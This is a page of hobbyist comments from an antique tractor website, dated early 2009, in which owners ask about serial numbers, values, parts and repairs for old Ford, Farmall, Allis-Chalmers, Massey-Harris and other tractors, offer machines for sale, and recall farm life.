H. Debiaggi wrote on Saturday, April 04, 2009 (PDT):I have owned a 1946 pony tractor since 1950 with all its original attachments. I´d like to know where I´ll be able to buy three stickers that reads; Massey-Harris. And the other, that only reads; Pony. If you have any idea, please send me an e-mail.
Dan wrote on Friday, April 03, 2009 (PDT):I have what was told to me to be a 1946 L model with a wico mag, if someone could please tell me what to set the points at and a idea of what the tractor is worth, it s in good shap, needs tires and stering nuckel, thanks
Ted Kasiewicz wrote on Thursday, April 02, 2009 (PDT):I have a 1954 utility 300. The previous owner used 80-90w gear oil for the trans. I know it gets water and freezes during cold temp is a common problem with this model. Case makes a hytrans fluid I heard is the newer replacement. Is this true and can I use TSC hytrans fluid or something cheaper instead Thanks for your input.
Roy Burns wrote on Thursday, April 02, 2009 (PDT):I have a 140 serial #66449j. I want to find the age. All serial numbers I have found end in 1975 at about 55000. IH was building about 3000 of these tractors a year which would put mine at about 1979. Can anyone varify this
cory wrote on Thursday, April 02, 2009 (PDT):i am interested in one of these tractors doesnt matter wat condition its in email me
Danielle wrote on Wednesday, April 01, 2009 (PDT):Does anyone have an restored 8N that is located in Northern California
Ortwin wrote on Tuesday, March 31, 2009 (PDT):Hello, can anyone tell me where to get starting cartridges for the Field Marshall Series 2 Please respond. Greetings from Upper Frankonia
BRIAN MUETZE wrote on Tuesday, March 31, 2009 (PDT):I HAVE A FWA MF 97 LOOKING FOR INFO ON FIXING FUEL PUMP
Barbara E. Clement wrote on Tuesday, March 31, 2009 (PDT):I am doing research to find the current value for a 1936 Case Tractor, Model RC. This Tractor was in working condition, and used everyday on a Family Farm, here in Massachusetts. Can anyone provide me with either the Value of this Antique or a Website, where I can expand my research to Thank You very much.
gordy d wrote on Monday, March 30, 2009 (PDT):have a 1 bottom pony plow for sale. please call if interested.847-669-3140.
Kenneth Robinson wrote on Monday, March 30, 2009 (PDT):Have a massey-harris tractor with model # 44dr 2042. has wide front end and 4 cyl gas engine with these # s on engine; J209,OFD under that, 2.5L GMG, 3 with 100443 ll under that. What info can be revealed from these # s Any help appreaciated. Thank you
Bill Burney wrote on Monday, March 30, 2009 (PDT):Hey everyone, Just call me BB. I have a 1963 AC D17 serial # 17 69098. I think it is a series 3 but I,m not sure and I can t find anything that will tell me the differences in the 1,2,3,and4. Is there anyone out there that can give me this info It will be greately appreciated. This tractor is a nice one owner. Thanks BB
Chuck May wrote on Monday, March 30, 2009 (PDT):My dad recently passed away and we now have a ZB MM for sale. Narrow front - new tires all around. Has been used lightly for the past 20 years. Has a loader on it but can be removed if buyer would like it removed. Please contact me with any questions. I also have pictures if anyone would like to see. 2nd owner- and shedded. 605-695-3597
Bill Burney wrote on Monday, March 30, 2009 (PDT):Hey everyone, Just call me BB. I have a 1963 AC D17 serial # 17 69098. I think it is a series 3 but I,m not sure and I can t find anything that will tell me the differences in the 1,2,3,and4. Is there anyone out there that can give me this info It will be greately appreciated. This tractor is a nice one owner. Thanks BB
Earl Riley wrote on Sunday, March 29, 2009 (PDT):What should the cylinder compression be on a model 52 8N be
Neil Goldade wrote on Sunday, March 29, 2009 (PDT):Just a little bit of information for n-series ford tractor owners. The 9-n was made in 1939 to 1942, the 2-n was made from 1942 to 1947, the 8-n was made from 1947 to 1951. All of the 9-ns and 2-ns serial number started with 9. The difference between the 9,2n and the 8n is the 9,2 have a three speed trans. and the 8n has a four speed trans. The correct gear oil for the ford rearend is mineral oil which is hard to find now. People looking for parts can call Dennis Carpenter in Penn. they have a lot of new parts. To find the serial number on the n-series tractor look on the left side of the block on the flat spot behind the oil filter. Thanks have a nice day.
Neil Goldade wrote on Sunday, March 29, 2009 (PDT):Just a little bit of information for n-series ford tractor owners. The 9-n was made in 1939 to 1942, the 2-n was made from 1942 to 1947, the 8-n was made from 1947 to 1951. All of the 9-ns and 2-ns serial number started with 9. The difference between the 9,2n and the 8n is the 9,2 have a three speed trans. and the 8n has a four speed trans. The correct gear oil for the ford rearend is mineral oil which is hard to find now. People looking for parts can call Dennis Carpenter in Penn. they have a lot of new parts. To find the serial number on the n-series tractor look on the left side of the block on the flat spot behind the oil filter. Thanks have a nice day.
Bill wrote on Saturday, March 28, 2009 (PDT):wiring probs.can jump start 35 ferguson with one cable, hot battery to starter.If key is off will not start. replaced pushbutton start switch, still nothing. One wire from push button goes to ground,other to so;enoid. Is this correct.
dave jett wrote on Saturday, March 28, 2009 (PDT):I am restoring my 51 8n but cannot find original paint scheme for all parts. Can anyone help or tell me were to find this info. THANKS
Dale Standley wrote on Friday, March 27, 2009 (PDT):What is the correct tire pressure on a 14-9-26 without fluid for an Allis Challmers tractor
Jim Balsillie wrote on Friday, March 27, 2009 (PDT):I would like to know the year of manufacture of an F20 Serial Number;10599NW
Jack Jenkins wrote on Thursday, March 26, 2009 (PDT):A correction is necessary on your lead statement,and that is-the model 60 replaced the model A John Deere. The later A had a 321 cu engine and was rated at 950rpm. The 60 had the same basic engine but reduced the cubes to 302.9 and increased the rpms to 1125. In so doing they gained a slight power increase. The model A was very popular and would haul 3-14 plows all day long. I love that old tractor, but the newer 2 banger 620 and 630 s will just flat out-haul it.According to the Nebraska test the 1950 J.D. model A will pull 4394 lbs. The 620 will haul 6122 lbs. The real improvement came with the adoption of the 3 point hitch system. The old 2 bangers were loved by a lot of old timers.
jack jenkins wrote on Thursday, March 26, 2009 (PDT):In 1952 I was a young man of 18 yrs. I went to Wisconsin to help my father farm. We had only one tractor, and it was a 41 styled B john Deere. We farmed 160 acres with that tractor, and used it exclusively for everything.It was the old hand crank type and even tho it was super cold outside that little popper always started.We had a style 44 trip plow with 2-14 bottoms, it did all the jobs it was designed for.I am now 76 and looking for a Cherry condition late 50 model A. With 3 pt hitch
Dave wrote on Thursday, March 26, 2009 (PDT):I truly enjoy reading through all of the comments, stories, and questions of all the A-C devoted owners. I too grew up on a farm within a family and extended family that had a fair share of various Orange Tractors. It is difficult to say which were my favorites. On our farm we had a really great D19. While the companion D17 is a great tractor in its own right and I loved the handling and manuverability of the D17, the extra power provided by the larger D19 really came in handy on our farm. I learned to drive tractors on the WC models one of which is 1941 model still owned by my brother. It is essentially as good as the day it was new.
derryman66 wrote on Tuesday, March 24, 2009 (PDT):hi anyone could tell me what year for my 9nan tractor the seriel number is 48321 and im from irish thanks
Bill Wilson wrote on Tuesday, March 24, 2009 (PDT):Just purchased a Fordson Super Dexta 2000 Diesel with 4,580 hours. Starts and runs great. Need to find a shop manual for this tractor. Model 957E-7005 located on right side in front of brake pedels. Still looking for the Serial number . Hydro lift comes to life after a short warm up. This tractor is used to do heavy plowing with a pair of 16 plows and uses and 8 disk. Plenty of power and sipps fuel.
Shawn T Hostler wrote on Monday, March 23, 2009 (PDT): I m looking for a used 3 point hitch cement mixer for my 53 Jubilee within 150 miles of Morgantown,WV thanks
Mark wrote on Sunday, March 22, 2009 (PDT):I just got an Oliver Crawler OC3-42 - Serial#9WH828. I think it is a 1951 or 1952 Tractor and has a loader on the front. I am looking for any details I can find on this tractor. It has a 4 cylinder gas engine with a bad crank. I can t find any pictures on the internet that look like my Oliver Tractor - Crawler. I would be glad to email anyone pictures if you can give me any information at all. Thanks in advance, Mark
Bob Rohm wrote on Thursday, March 19, 2009 (PDT):I am interested in a Case SC. Anyone with one to sell please contact me. I am in Western New York State. Thanks.
jonny b wrote on Thursday, March 19, 2009 (PDT): need a wiring diagram to con vert 6v pos ground to 12v neg.ground thank you
John Calvet wrote on Wednesday, March 18, 2009 (PDT):For Sale MM UBN serial #06000026 runs good puller. With parts tractor price 3500.00
Doug Furley wrote on Tuesday, March 17, 2009 (PDT):I would like to see pictures of some fordson dexta tractors from different angles !If any one can provide some please e-mail me Thanks
brian wrote on Sunday, March 15, 2009 (PDT):350 utility with buket gas machine good shape, but third gears going out whats a fair price guy wants 1500 is that good
Haley Sowell wrote on Friday, March 13, 2009 (PDT):I want to buy a AC Model G with cultivators,middle plow,planter and other equipment,will pay good price for a tractor in very good condition to work my garden with,I will travel reasonable distance to buy.call me at 903-572-3123
Mary Brooks wrote on Friday, March 13, 2009 (PDT):i have a i96 caseomatic 831c straight all around and ran when parked 2yrs ago this is a western nebr. tractor and clean 8sps. for./2rev. 6cyl. diesel would like to know approx. value or have fair offers
Brian Knisley wrote on Friday, March 13, 2009 (PDT):It looks pretty good after all these years.
Delfred Cone wrote on Friday, March 13, 2009 (PDT):I have a model U tractor and would like some pictures that show what ir looked like orginally
norris james Kannapolis NC wrote on Thursday, March 12, 2009 (PDT):Have purchased a 34 plymouth tractor restored it is a eye atcher in this part of the country . They seem to be more in the northern states , People down here have never heard of them . It is different. 3-12-09 704-932-2423 retired farmer with toys. ha.
A C Sletten wrote on Tuesday, March 10, 2009 (PDT):I have a 1949 D Leader that my grandfather purchased new. I have restored the tractor and it looks and runs great. However, it will not stay in second gear. I need to find some transmission parts. Any info would be appreciated.
Walter wrote on Monday, March 09, 2009 (PDT):My grandfather owned one of these, I raked hay on a W4 many times, and have wonderful memories. I just bought one of these and am planning to restore it. One question I have is that the shift knob is steel and has numbers engraved into it - does anyone know why this tractor doesn t have the rubber knob - or what the numbers designate. thanks
Jim Taylor wrote on Monday, March 09, 2009 (PDT):Looking for D-15 AC. Parts or complete running unit. Note to Greg Langmo and Vince Schiavitti; please contact me.
Leon Johnson wrote on Monday, March 09, 2009 (PDT):I am looking for a tricycle front end for 1950 s Ford tractor unsure of exact model.
Greg Langmo wrote on Saturday, March 07, 2009 (PST):I have a D15 wide front with SHUTTLE clutch fully hydralic Paulson loader. Rubber is 90%, paint average. Tractor starts runs great. Dad bought new. Always shedded. What is a fair price
chuck wrote on Thursday, March 05, 2009 (PST):NEED a running farmall b engine or block and/or cultivator assembly. Please call 715-213-9001 or email me at accent at tds.net.
Bennie S. wrote on Tuesday, March 03, 2009 (PST):Please tell me if I have a C or Super C Farmall tractor- the serial number is 72667. The engine block has the cast wedge between the carb and the oil pan. I also need the year if possible. Thank you! Bennie
Noreen Argue wrote on Monday, March 02, 2009 (PST):I recently received my Dad s 1951 SC case. It is dier need of a paint job which will be done in the near future. He bought the tractor brand new in Evart, MI. I, as a young girl, use to drive the tractor on the hay wagon while my brothers would load the bails of hay. Then one Saturday, my brother couldn t get off work to help my Dad, so I took his place helping. What was it doing. None other than driving it on the manure spreader. I dearly loved this tractor and am proud to have it. I am the only remaining family member, had to wait 37 or so years to get it but it still carries some pleasant memories. Other than for the paint, the clutch pad is all that needs to be replaced. It was all over-hauled recently and the motor runs like a top. I don t think a case can be beat. They are my favorite tractor.
Ernie D. wrote on Saturday, February 28, 2009 (PST):I am located in Virginia, USA, and looking for a single 14 bottom plow with hook-ups/attachments for a M-H Pony. If you have one or know someone that does call me at telephone #540-832-3096.
Alan K wrote on Saturday, February 28, 2009 (PST):These tractors are more commonly called a G704 GVI with front wheel assist . Had a neighbor that had a GVI and a G706. What a monster....but in a good way.
Chuck Magley wrote on Friday, February 27, 2009 (PST):Have a restored 1954 Type M similar to the picture above. Would like to sell. It has a seven foot box scraper with after market hydraulics.
Howard Gunderson wrote on Thursday, February 26, 2009 (PST):I would like to find info Photos etc about the kit Ford mfg to convert the Model T into a farm tractor. The kit I am referring to had the original T power train with a large Bull gear on steel wheels.
dkschmidt wrote on Wednesday, February 25, 2009 (PST):I am looking at purchasing a pony, I see in my readings that it could take a 1 bottom plow 14 . Does it have the wear with all to take a 2 bottom plow
E. W. Duncan wrote on Tuesday, February 24, 2009 (PST):I have a restored 1949 Massey-Harris Pony tractor with cultivators. I am looking for a bottom plow made for the Pony. If you have one for sale or know of one please email me.
Pat wrote on Tuesday, February 24, 2009 (PST):I am looking at a T340 wide track. It was supposed to be made for vineyard use. It is very wide between the treads but they are narrow treads. I was told only 18 were made. Can any one give me more info THX, Pat
jessica wrote on Monday, February 23, 2009 (PST):I have 1949 pony tractor, oringal paint,oringal tires,etc comes with attachments , any ideas what to price this at been in a garage its whole life
ron frigstad wrote on Monday, February 23, 2009 (PST):Joan Babe wrote on Friday, June 06, 2008 PDT ; ... The tractor that they used for parts is now available for someone else to use/restore.... Is this 1917 Titan still available If so, where and how much Please send picture and list.
jimmy dee in wisconsin wrote on Sunday, February 22, 2009 (PST): Hi everyone im looking for a nice old tractor for my son and i to fix up if you might have something in wisconsin we would love to come take a gander,also any hit and miss moters please call collect at 715 445 2781
Mark Croasmun wrote on Sunday, February 22, 2009 (PST):I have a 50 and my son has a 44 JD B. I m trying to get as much info on the tractors as I can date of manufacture, dealer and area sold, etc. I have been looking for my granddads 48 JD B for a couple of years, the tractor was in Vallier, Pa. and was sold in the early 80 s
Don Young wrote on Sunday, February 22, 2009 (PST):This was one of the first tractors I drove many years ago. I don t remember the year of the one we had, but it did have live hydraulics. We had the blade attachment, with a bolt on brush rake attachment, ditch attachment for orchard irrigation. I am from Yakima, Washington where the tractor was converted from a B model motor and transmission form John Deere, shipped to Yakima for the track system and final assembly. Remains of the foundry and production still exist, a fire destroyed most of the facility in the late 50 s. The Central Washington Ag. Museum in Union Gap, Washington, I heard that they are in possession of the original track pad equipment, and are producing this part. You can contact them 509-457-8735. They also have a video tape of called The Lindeman Story , how the brothers got started, and showcasing some of their inventions and equipment. They were very good at filming their equipment in use on local farms and ranches in the Yakima Valley. I hope that some of this may help someone that reads this.
Mark from New Mexico wrote on Saturday, February 21, 2009 (PST):It looks like I own a 9n 6 cylinder and need an exhaust manifold, if anybody has one please advise me. I don t know exactly what the year is but I believe it is a 1948 model. Does anybody know what the ballpark value is
Seamus Flanagan wrote on Saturday, February 21, 2009 (PST):Hello i have a 97 Massey Ferguson i would like to sell, good running tractor with a new battery and starter. 9,0000 located in Chicago Illionis. Please contact at; 708-243-9290 Thank you
Ed Lewis wrote on Friday, February 20, 2009 (PST):Does anyone know of a manuel for the tractors 3 wheel FROM 1942--1954. OR A REPRODUCTION
Christopher Colvin wrote on Wednesday, February 18, 2009 (PST):I have a 1953 Ford Jubilee. I am in need of the selectospeed shifting cable. I would even buy the housing complete if you would want to sell it that way. I really would like someone to email or call me if they ave info on finding one of these. Yesterdays tractors didn t know where to locate one either. Please call me with the info. Fight for our freedom. God Bless America! Thanks! Christopher Colvin 252 455 0397
terry donakowski wrote on Tuesday, February 17, 2009 (PST):841 4speed new gears w/ sherman tranny good shape runs added power steering rear pto with loader back blade 4000 firm michigan
Mark Van Der Veer wrote on Tuesday, February 17, 2009 (PST):My friends tractor was running prior to sand blasting and painting, now it dosent have a spark. Any ideas where to start
Ashley wrote on Monday, February 16, 2009 (PST):I was just wondering what the color of the Silver King tractor that was made in 1941 is. Some say it is silver and blue and others say it is silver and red....which is it
MIKE BLACKBURN wrote on Monday, February 16, 2009 (PST): I BOUGHT A SUPER DEXTA I THINK. SERIAL NUMBER 09B729117 AND ON THE DIESEL BLOCK NEAR THE MANIFOLD IS CKN13721G I BELIEVE, HARD TO READ. CAN ANYONE IDENTIFY THIS TRACTORS YEAR AND H.P. I DID ALSO FIND THE NUMBER 957E-7005 NEAR THE CLUTCH HOUSING. ANY HELP WOULD BE APPRECIATED. I CAN SEN PICTURES IF IT WOULD HELP.
bob o wrote on Friday, February 13, 2009 (PST):my dad had one of these when i was growing up it was one of the most powerful old tractors ive ever seen
Dick Heitz wrote on Friday, February 13, 2009 (PST):I have a 1937 that was on the classic tractor calender id 1994.
brice bowden wrote on Thursday, February 12, 2009 (PST):Hi this might sound like a dumb question but I own a 1959 propane mccormick farmall and Im kinda new at this but i really dont know what model it is so i can buy parts for it so if you could give me some info on this tractor i would greatly appriciate it...
K D LUNDIN wrote on Thursday, February 12, 2009 (PST):My understanding is the model 50 replaced model B, and 60 replaced A and 70 replaced G and R replaced D
graham wrote on Thursday, February 12, 2009 (PST):Im after a marshall model m seat post cant find one any where .i also have a ser 1 contractors for sale with original marshall winch ,full lighting set , exstra break andhigh top gear . my number is 07976319399 .
Robert McKell wrote on Tuesday, February 10, 2009 (PST):Hello, I am restoring an 1948 Oliver 70 industrial, I do not know what the proper paint code and color for this tractor should be. Any assistance you could offer would be appreciated. You have done a wonderful job restoring your tractor. Many thanks, Robert.
Nat Little wrote on Tuesday, February 10, 2009 (PST):The B Farmall was the first tractor my father owned, the first that I drove,wonder if any one else ever had trouble with the magneter jumping time.........
joeNH wrote on Tuesday, February 10, 2009 (PST):Growing up in Newington NH my uncle had two of these tractors. He used them primarily for cutting hay and teathering, while using the super c s for baling. spreading manure, plowing etc..
Jim Broughton wrote on Saturday, February 07, 2009 (PST):C.Hoover; Your tractor is a late 1949 or early 1950 model per the serial number.Thus far, allowing for the recession, prices have held fairly well.With just a mower, and if it looks real good,try 1500.to 2000.00 for it ! Best of luck since people are holding onto their money ! Jim B. in Oregon
Rod Stoller wrote on Saturday, February 07, 2009 (PST):I need to put a new set of points into my 1948 8N. My question is it easier to remove the front mount distributor to install them, and is it a big job to put it back together and still be in time. could someone please advise. thank you
Rod Stoller wrote on Saturday, February 07, 2009 (PST):I need to put a new set of points into my 1948 8N. My question is it easier to remove the front mount distributor to install them, and is it a big job to put it back together and still be in time. could someone please advise. thank you
David Bragdon wrote on Friday, February 06, 2009 (PST):Does anyone know how much the farmal M weighs. I need to buy a trailer to haul it from Florida to NH. The back tires are loaded so that might change the weight. Thanks
billy norman wrote on Tuesday, February 03, 2009 (PST):yes , i have 3 of the little g tractors, i think they are neet as they can be,
Richard Evans wrote on Tuesday, February 03, 2009 (PST): I am looking for a set of ARPS half tracks 13 or 16 wide for 11 X 36 tyres on my David Brown 990 or 1956 grey Ferguson same as Ford 8N .
Joe Mallonr wrote on Monday, February 02, 2009 (PST):Relative has a 1938 Silver King restored 3-wheel tractor. He wants to sell, would appreciate any comments on value. Thanks.
R. McCormick wrote on Sunday, February 01, 2009 (PST):My Dad had a 730 diesel with the pony engine start, although he always called it the pup engine. Perhaps that term was just a Southern Ontario ruralism. In my opinion, that tractor was the absolute pinnacle of John Deere s output; nothing after comes close. There is no sound more nostalgic than the one produced by pushing its throttle ahead under heavy load. Add the smell of burned diesel fuel and dirt and I m a kid again.
Taber Geartz wrote on Sunday, February 01, 2009 (PST):I am looking for half tracks for a 1952 Ford 8N. Does anyone have a track set-up for sale Thanks!
Hank Cameron wrote on Saturday, January 31, 2009 (PST): I have seen the decals for the model 22 advertised through Yesterdays Tractor. I am looking for a rebuilt water pump for my MH 22 with the Continental 140G ser no 31658. The tractor ser no is 6292 1952 .The casting no on the water pump is 2431. The MH part number for the water pump is 760791M91. Alternatively, I would like to find a water pump repair kit part number 840163M91. The tractor runs well and looks good. I have changed all the fluids,tuned it up and put a voltage regulator on it. I think it has always been here in the Okanagan valley of B.C. Hank
herb steinkamp wrote on Saturday, January 31, 2009 (PST):If anyone out their can help me-I have a 44-6 the 6 is for 6 clyd. but I have no Ideal what it is worth- I got it painted-it runs good rubber is fine. One guy saw it in the shed and he wants to buy it. Live in Illinois can anybody tell me what it might be worth.. Thanks Herb
gene pesch wrote on Saturday, January 31, 2009 (PST):I have a b for sale. Rear tires good and one front good.This tractor is in I would call fair shape. Runs good I use it to pull hayracks and rake with it. CALL 218 444 2155
David Twitchell wrote on Saturday, January 31, 2009 (PST):I am looking for a D17 in the northeast to buy and Can t seem to find any close looking for web sights or a name or some one how could help me find a tractor within 300 miles of area code 05361
Joel Mierhoff wrote on Friday, January 30, 2009 (PST):Just wondering what the value of a newly restored in great running condition, 1952 T 340 international harvester caterpiller with a 4 in 1 drott bucket 3 tooth drott ripper 4 cyl unleaded fuel and runs on a track. I have an extra motor and parts. Would like to sell...
Joel Mierhoff wrote on Friday, January 30, 2009 (PST):Just wondering what the value of a newly restored in great running condition, 1952 T 340 international harvester caterpiller with a 4 in 1 drott bucket 3 tooth drott ripper 4 cyl unleaded fuel and runs on a track. I have an extra motor and parts. Would like to sell...
Robert E. Almstrom wrote on Wednesday, January 28, 2009 (PST):I Have 2 of them. One is in need of repairs. I want to change them over to 12 volt systems. The one needing repairs I may sell as a parts tractor. Bob Bob
RON REEDY wrote on Wednesday, January 28, 2009 (PST):I HAVE AN AC WD-45 FOR SALE. NFE, RUNS GREAT.GOOD TIRES ALL AROUND,CONVERTED TO 12 VOLT SYSTEM, BARN KEPT, BEEN IN MY FAMILY OVER 20 YRS. READY TO WORK OR RESTORE. 2500. 724-548-7941
Stan Bucy wrote on Tuesday, January 27, 2009 (PST):I have a farmall H tractor and I use it as much as I can. I love it to death. I have a question my H has only one single front tire is this the way the H was made. Another question I don t know the year of my H the serial # is FBH-194075, Can you email me and let me know the year of my H
Stan Bucy wrote on Tuesday, January 27, 2009 (PST):I have a farmall H tractor and I use it as much as I can. I love it to death. I have a question my H has only one single front tire is this the way the H was made. Another question I don t know the year of my H the serial # is FBH-194075, Can you email me and let me know the year of my H
Harold wrote on Monday, January 26, 2009 (PST):Too all the old timers who ownes the TD-35orTD-40 crawlers give me a call at 570 333_4960 Help here Harold .
Chief wrote on Monday, January 26, 2009 (PST):You can tell the difference between the 60 and 105 horse engine by the head bolts.The 60 horse had 20 the later model and the 100 horse power had 24 headbolts to each side. The 60 horse power models had the ignition mounted between the two water pumps on the front of the engine. The 100-105 horse power engines had the ignition mounted top front of the intake mantifold.
Harold Ph # 570 333 4960 wrote on Monday, January 26, 2009 (PST):I,m in need of a TD14Fuel Inj pump complete ready for use. Contact me at the Adresses above.
Holly Schmidt wrote on Sunday, January 25, 2009 (PST):We have 2 we think Farmall B tractors on the property we interited from my parents/grandparents. We think they are 1939 and 1941 models how can we determine this . They have been sitting for 20+ years and are not in running condition. We are interested in selling them but not sure how much to ask. Thanks.
John Otten wrote on Saturday, January 24, 2009 (PST):I have logged hours on a International 1086, 766, 674, 574, 884, and 1066 tractors All of them were great to drive and dependable. The 1066 Turbo was the white cab series and bought it with 4700 hours. I was interested in a 4430 John Deere but on a cold day it would not start. The 1066 was able to start in the cold on its own every time. When I selected the 1066 i asked the dealer to put the tractor on the dynometer to see how it ran. He said that he would quarantee that it would put out 150 hp no problem. This tractor had a chrome straight pipe no muffler. As they warmed the tractor up at a low 50 hp level they waited 10 mins till the engine and drive line was warm. The mechanic puleed the throttle wide open. That tractor pulled 210 hp at 2600 rpm. They wouls pull it down to 22oo rpm and it would hold her own. Smoke 90 feet in the air. That dealership gave the tractor the nick name THE BEAST. I bought the tractor after carefull inspection and had them turn the power down to 165 hp. This tractor worked very well. I pulled a 5 furrow 20 inch plow and this was a breeze to pull. You could actually relax plowing and not strain yourself like other tractors thatseemed like you had to help them along in tough spots. The 766 was a great tractor also. The 1086 was excellent but for some reason did not have the beast like character as the 1066. Most like due to the rebuild of the 1066 with new sleves pistons at 1600 hours and rebuild shwitzer turbo. we go to local trator pull and the 66 serie tractors are always in the top for pulling. I rest my case.
alex wrote on Friday, January 23, 2009 (PST):If you need to find out what year your tractor is then look towards the back of the tractor. There should be several numbers, these are on the flat area that is around the snap-on arm bracket. Hoped I helped.
Harold wrote on Friday, January 23, 2009 (PST):Hello ! Ida Red Do you still have that TD14 stationary Eng I have use for it.E mail my Address above to let me know.
Harold Montross wrote on Friday, January 23, 2009 (PST):John Faccin i Harold would like to talk to you about your TD 40 for 800.00 Email my address above.
Charles wiles wrote on Thursday, January 22, 2009 (PST):I have my Dads standard 70.. I was able to buy it back after 20 years of other people owning it. I need fenders ,running boards and inner fender shields. please contact me with information My phone number is 240-818-4256
ken in PA. wrote on Wednesday, January 21, 2009 (PST):I have a 1963 2010ru I grew up on this tractor and have owned it myself for 15 years it is a great tractor in the 1960s it was the main tractor on a dairy farm used daily to spread manure a great starter in cold weather . we pulled a 3x14 model 810 plow and a 9 kba disc on a 145 acre farm I use it now on our vegetable farm . still a joy to operate and a relatively economical tractor I could never part with it!
John Myles wrote on Wednesday, January 21, 2009 (PST):I bought 1960 D17 it serial 28813 the engine 24374m it has 1969 517 loader on it.It has auxillary pumpfor the loader. It work fine. Iam a John Deere man but like D17 with the loader on
nauliwala wrote on Tuesday, January 20, 2009 (PST):My grandpa had one of those tractors yhe jetti 2011 in india
Rod Knoll wrote on Tuesday, January 20, 2009 (PST):Dad bought a brand new 74 1066, had the red cab w/no stripe, would do just about anything you asked. I buried it a couple of times dragging the disc harrow thru a soft spot, took 2 neighbors 3 tractors to unstick it....the duals were a chore but wasn t bad, the T/A went out at around 2200 hrs most would fail before 2500 hrs , was a thirsty devil, would plow for 4 hrs gulp down most of the 42 gal tank...sold it in 1990...
Mike Sobkow wrote on Tuesday, January 20, 2009 (PST):I inherited a 1949 Model R Diesel JD from my father. I don t have the tractor anymore but, I still have head gaskets new one for the main engine ans two for the pony engine. I d be glad to sell them for 50.00.
Mike Sobkow wrote on Tuesday, January 20, 2009 (PST):I inherited a 1949 Model R Diesel JD from my father. I don t have the tractor anymore but, I still have head gaskets new one for the main engine ans two for the pony engine. I d be glad to sell them for 50.00.
ted donovan wrote on Sunday, January 18, 2009 (PST):I have a pony s/nPGA2745A.I can t find that s/n listed anywhere. Its a canadian machine. Can anyone help Ted
Wayne Nunnery wrote on Saturday, January 17, 2009 (PST):Looking to buy a complete/restorable Leader tractor. Please contact me at wayne5114 at netscape.net
Zac McGinn wrote on Wednesday, January 14, 2009 (PST):I have an 48 Avery Model A, Would like any info on paint color,info on restoration. Have rebuilt engine and converted to 12 volt.864-993-7253 Will sale as is, call for info/pictures 1/14/09
Zac McGinn wrote on Wednesday, January 14, 2009 (PST):I have an 48 Avery Model A, Would like any info on paint color,info on restoration. Have rebuilt engine and converted to 12 volt.864-993-7253 Will sale as is, call for info/pictures
Toby1 wrote on Wednesday, January 14, 2009 (PST):I am have a tractor like this one here in North Dakota its the fourth one i own. I am only 16 and save all my money from work to buy,restore,maintain my old tractors and implments. Such as my 1880 Little Giant Cane Cutter and International Harvester corn chopper/blower from 1901. This is a great tractor. But i was wondering if any one has a origional condition three point hitch parts for my tractor.Please feel free to e-mail me at beth at flcwilliston.org
joe hise wrote on Wednesday, January 14, 2009 (PST):i have a model b ac but the s/n starts with a c. what has happened. did they change to front wheel spacing.
C Hoover wrote on Wednesday, January 14, 2009 (PST):My father passed away and has a Farmall Cub. Plate info reads; Model FCUB SN#76077. He told us it was a 46 or 49, but a tractor dealer states it is a 62. We are trying to come up with an idea of what to try sell it for. It is in very good condition with a mower deck. Can anyone help
Dwayne Smith wrote on Sunday, January 11, 2009 (PST):I just bought a Allis Chalmer s tractor. The only number I can find on it is D17 6124. I d like to know the year model and where I could find a manual if possible. Also how much do you think it is worth
Jay Riggs wrote on Sunday, January 11, 2009 (PST): I recently bought a1950 cub. It had all of the hydrolics stripped off of it. Would like to replace if can find parts.
Rick Fricke wrote on Friday, January 09, 2009 (PST):My father bought a 500 new sometime in the mid-fifties, eventually it ended up in the hands of my grandfather Kenneth Grieser Defiance, OH who sold it sometime in the early 1970s. I would really like to locate it, but no one seems to remember who he sold it to. I do know the block was welded back in the 50s but never gave any problems. Please let me know if you might have any idea about its location - I imagine it is still in the general area of NW Ohio.
Bob Griggs wrote on Friday, January 09, 2009 (PST):I bought a 1945 M and I m enjoying doing a reconditioning job on it.
Ronald Clement wrote on Thursday, January 08, 2009 (PST): My memories of a Titan 10-20 When the wheat would get ripe my uncle Lester would hook horses to his McCormick-Deering binder and cut and bind the grain. We would then put the bundles of grain into shocks in the field. When the grain had dried for a day or two we would haul it in and stack it near the corral. The next day I would hear my uncle Doc comming down the road with his Titan pulling his thesher. He would set it up near the stack of bundles of grain and point the straw so it would be blown into the corral. The next day the crew would show up to run the thresher. Uncle Doc would start the Titan up do his adjusting and then start the thresher. Uncle Lester and I had climbed up onto the stack of wheat. We would start feeding the bundles of grain to the thesher. If we were lucky the breeze would be away from us. It never was all day. It was always hot and the chaf would stick to us and make us itchy. Yet these are good memories. The old Titan would sit there just a running like it enjoyed its job too with a little steam coming out of the barrel used for a radiator. This was in the late 1930 s and early 1940 s. I ask uncle Doc one time why he didn t get a newer tractor with rubber tires. He answerred me by saying that this Titan handles the thresher better than the newer tractors do. I enjoyed the threshing and the old tractor. I am not sure but I think uncle Doc told me it was a 1918. I know it sure look like the tractor in the picture except it was very dirty from the use it had been through. Ron.
Bruce Huffaker wrote on Thursday, January 08, 2009 (PST):I have a Farmall B and would like to sell it. It is in restorable condition and runs good. Also has a belly mount woods mower on it that is in rough condition. It has always been indoors, but like anything else needs painting. Contact me at 815-894-3482 thats in Illinois
Scott F. Lyons wrote on Thursday, January 08, 2009 (PST):Can anyone tell me where I could purchase a set of emblems for this tractor
STEVE wrote on Wednesday, January 07, 2009 (PST):HI I HAVE A REAL CLEAN 160 WITH THE ORIGINAL LOADER ON IT.IT ALL LOOKS AND RUNS GREAT I USE IT ON MY FARM CLEANING OUT THE STALLS.AND I LOVE IT. BUT WHAT IS ITS VALUE.AND I NEED BOOKS ON IT...THANKS STEVE
David Bartosh wrote on Wednesday, January 07, 2009 (PST):I would like to buy an AC-G tractor prefer with implements or if anyone has implements that attach to this tractor, for sale. Contact me at this email address or phone 402-693-2470 or 503 N Spruce St., Dodge, NE 68633
Michael Cameron wrote on Wednesday, January 07, 2009 (PST):I have a 1959 D-14 with power steering and i am looking for a loader for it. I would like something a little more updated than the trip style that came with this tractor when it was new. Anyone have any ideas
Abdikafi Mahamud wrote on Wednesday, January 07, 2009 (PST): I would like to get semi-new-tractors. I bewelder some tractors have not the pulling-plouphing mechine. I am new to this bussiness. I would appreciate if you can send samples of the best,semi-new-tractors.
Rod Litz wrote on Wednesday, January 07, 2009 (PST):About how much does a M and a Super C weigh. I m putting them on a trailor to haul. Thanks
allan scott wrote on Sunday, January 04, 2009 (PST):looking for repair manual for 535 ford industrial tractor
Thomas Barksdale wrote on Saturday, January 03, 2009 (PST):I would like to know where to find the model and serial numbers on my recently purchased Leader tractor. I live in Collinsville, AL. Also, with original starter and generator, should this be a 6 volt positive ground system I can send pictures if necessary.
